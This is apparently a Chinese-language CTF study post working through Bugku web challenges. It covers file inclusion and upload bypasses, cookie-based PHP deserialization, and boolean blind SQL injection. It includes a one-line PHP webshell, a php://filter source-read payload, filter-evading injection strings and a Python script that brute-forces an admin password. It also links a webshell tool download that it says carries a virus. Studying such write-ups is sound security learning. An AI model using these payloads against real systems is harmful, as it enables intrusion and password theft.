[bugku]高阶web 综合帖

以下差不多是150+开始的

[文件包含2]

注意到是文件包含,而不是上传。

 

 这个时候不单单是文件上传。注意这种方法:

在php文件里写入<script language=php>system("ls")</script>,列当前目录

同理,修改后缀名为jpg,如1.php;.jpg,上传成功 (列出当前目录的意思)

【这样改后缀的方法mark一下】

后缀改成.jpg之后蒙混过关了 代码在里面发酵..  其实的呢,它给出了路径,根据这个路径试试,可以搞到文件,那么可以利用这个发挥作用。

<script language=php>@eval($_POST['cmd']);</script> (也很重要,但是这个被ban了)

javascript  eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。

关于这句话: https://blog.csdn.net/xiuzhentianting/article/details/48442977

========

它后面的:

[flag.php]

发现各种乱搞, 扫描后台 post一下 hackbar用一下不行

题目提示: hint 

既然没有submit 那么直接get传参 

既然user和password不行 ?hint=.... 试一下

 这样发现了源代码...

 代码审计.... (折叠)

 <?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
  <form method="POST" action="#">
    <p><input name="user" type="text" placeholder="Username"></p>
    <p><input name="password" type="password" placeholder="Password"></p>
    <p><input value="Login" type="button"/></p>
  </form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?> 

  

notice: 既然已经源代码都找到了 还没有flag肯定是自己哪里搞错 审题  审题 审题

有坑:

(1) 里面类似是嵌套的

最后才给出了$KEY的定义

key的值是在最后面定义的  所以前面是null(其实是""  不能输入null进行序列化哦) 序列化见后面附录

(2)格式问题(再次证明我是个筛子...)

参考前文给出/ 捕获其他进行对比/ 搞清楚再下笔

这里没有"s" 加上是冒号

注意前是xx=xx

 我们查看源代码里面的提示  啊111  ISecer=.....  !!!!    (代码审计!!! 前面是cookie)

$_COOKIE['ISecer']
这个东西就是ISecer的值是.....
$cookie = $_COOKIE['ISecer'];
这个东西就是定义一个is...的cookie, 然后$cookie是保存的他的值,当他的值等于...的时候就ok
(解除序列化等于它lo, 我们就搞到$key 原来的值上去 )
elseif (unserialize($cookie) === "$KEY")
=================

后面两个题目坏掉了.... 神tm容易

"phpmyadmin"可以用来登录的

[login2]

 placeholder 这个东西 是新属性 , 后面才支持

<input type="text" name="fname" placeholder="First name"><br>

所以。。 type是显示类型, name是很重要的  placeholder相当于二次标注  不用管的

抓包哦。。。。 后面发现竟然网页里自己带了个tip

意思是:

$sql="SELECT username,password

FROM admin

WHERE username='

".$username."    '

";

if (!empty($row) && $row['password']===md5($password)){ }

[login3]  我感觉就是要充分利用好返回的不同的信息!

先输入,发现用户名不存在,但是当输入admin的时候,返回的是密码错误,输入个别的比如select,非法的字符串。emmm,可以布尔盲注:

然后试试在admin后加上单引号,但是返回是用户名不存在   

这意味着什么呢?这说明即使语法错误,也不会在页面上显示报错信息,

也就不能使用报错注入了,我们发现有两种返回信息:

username does not exist!和password error!,那我们可以利用这两个返回值进行布尔盲注。

我们猜测后台的验证应该是先查找我们输入的用户名是否存在,大概是:

select password,username from users where username=”我们输入的用户名”

如果我们在where语句的结尾加上一个and连接的布尔判断语句,就可以根据返回值判断where条件是否成立,比如这道题就可以尝试补成

where username=’admin’ and (substring(database(),1,1)=’a’)【从1开始提取数据库名字,只提取一个】

如果返回值是password error,那么就说明where语句是成立的,那么我们补充的那就也是成立的,那么就可以确定数据库的第一位是a,然后再猜测第二位。passworderror表明前面是username那一关已经过了,也就是后面的bool值是真的

如果你是=‘b’的话,那边不会过,即使是admin输入,也会爆用户名不存在的错误。

--------------------- 

原文:https://blog.csdn.net/zpy1998zpy/article/details/80667775

好的,但是这个题目过滤了and。

经过尝试发现还过滤了空格,逗号,等号,for

空格用括号代替,等号用<>(一种不等号)代替

以及:异或运算^,先说一下基本规则:

1^1=0    1^0=1   0^0=0

先猜数据库名,基本语句

admin’^(ascii(mid(database()from(1)))<>97)^0#


解释一下为什么,为了绕过空格过滤,用括号隔开,过滤了等号,用不等号 <>代替,只要是布尔值就可以。mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢?

这里用到了ascii()取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。

每个字符的ascii码判断是不是不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算。

如果数据库名的第一位的ascii码值不是97,【<>  就是不等于的意思】where条件是username=’admin’^1^0

返回值是username does not exist!  (假)1+1+0

如果数据库名的第一位的ascii码值是97,where条件是username=’admin’^0^0

返回值会是password error!  (真)1+0+0

这就构成了布尔报错注入。

【passe是整个值为真的情况,userex是整个值是假的情况,admin是真,那么见后面的括号。

补充一点,因为这里既是语法错误也不会报错,有可能你输入的语句就不可能成立,但你也不知道,就很麻烦了,不过可以改变最后是^0还是^1,如果改不改返回值相同,那就是有语法错误,如果不同就可以参照上一段了。这也是为什么要多加一个^0,看似多此一举,其实好处多多。

就是说admin’^(ascii(mid(database()from(1)))<>97)^1# 就可以得到password error!
【因为,真+真,+真=真,+假=假,如果最后那个 ^1  ^0答案是不同的,就说明你可以进行布尔盲注入。】

嗯,然后这个当然不是手算了,python写了一个脚本来暴力破解。

import requests
str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
url="http://118.89.219.210:49167/index.php"
r=requests.session()
 
def databasere():
    resutlt=""
    for i in range(30):
        fla = 0
        for j in str_all:
            playlod="admin'^(ascii(mid(database()from({})))<>{})^0#".format(str(i),ord(j))
            data = {
                "username": playlod,
                "password": "123"
            }
            s=r.post(url,data)
            print(playlod)
            if "error" in s.text:
                resutlt+=j
                print(resutlt)
            if fla == 0:
                break
 
def password():
    resutlt=""
    for i in range(40):
        fla=0
        for j in str_all:
            playlod = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j))
            data = {
                "username": playlod,
                "password": "123"
            }
            s=r.post(url,data)
            print(playlod)
            if "error" in s.text:
                resutlt+=j
                fla=1
                print('**************************',resutlt)
        if fla==0:
            break
#databasere()
password()
--------------------- 
作者:孤鸿影~ 
来源:CSDN 
原文:https://blog.csdn.net/zpy1998zpy/article/details/80667775 
版权声明:本文为博主原创文章,转载请附上博文链接!
View Code

脚本我还不会写!!!看上去很麻烦然鹅到时候 

到时候记录一下吧

 有关【文件】

    ?op=php://filter/read=convert.base64-encode/resource=flag

 (因为op=upload....) 

 emmmmm 发现后面的题目都坏掉了.... 也没有题解.... (所以我才觉得没提可做吧...orx)

菜刀下载地址:https://blog.csdn.net/xxxslinyue/article/details/79397973  (但是又病毒  又被ban了)

===========附录============

1.php在线编程地址: http://www.dooccn.com/php/

2.php反序列化

学习地址: https://www.jb51.net/article/112638.htm

那么我们写一行代码就是: 

<?php
$arr=array();
$arr['name']='张三';
var_dump($arr);
$info=serialize($arr);
var_dump($info);
$inffo=unserialize($info);
var_dump($inffo);
?>

  $a='zhangsan';

直接这样就可以...  

然后就是注意,在线生成但因为我们是输出var_dump  所以前面的string(7)去掉  引号也去掉

   其实值是 s:0:""

原文地址:https://www.cnblogs.com/lx2331/p/9838983.html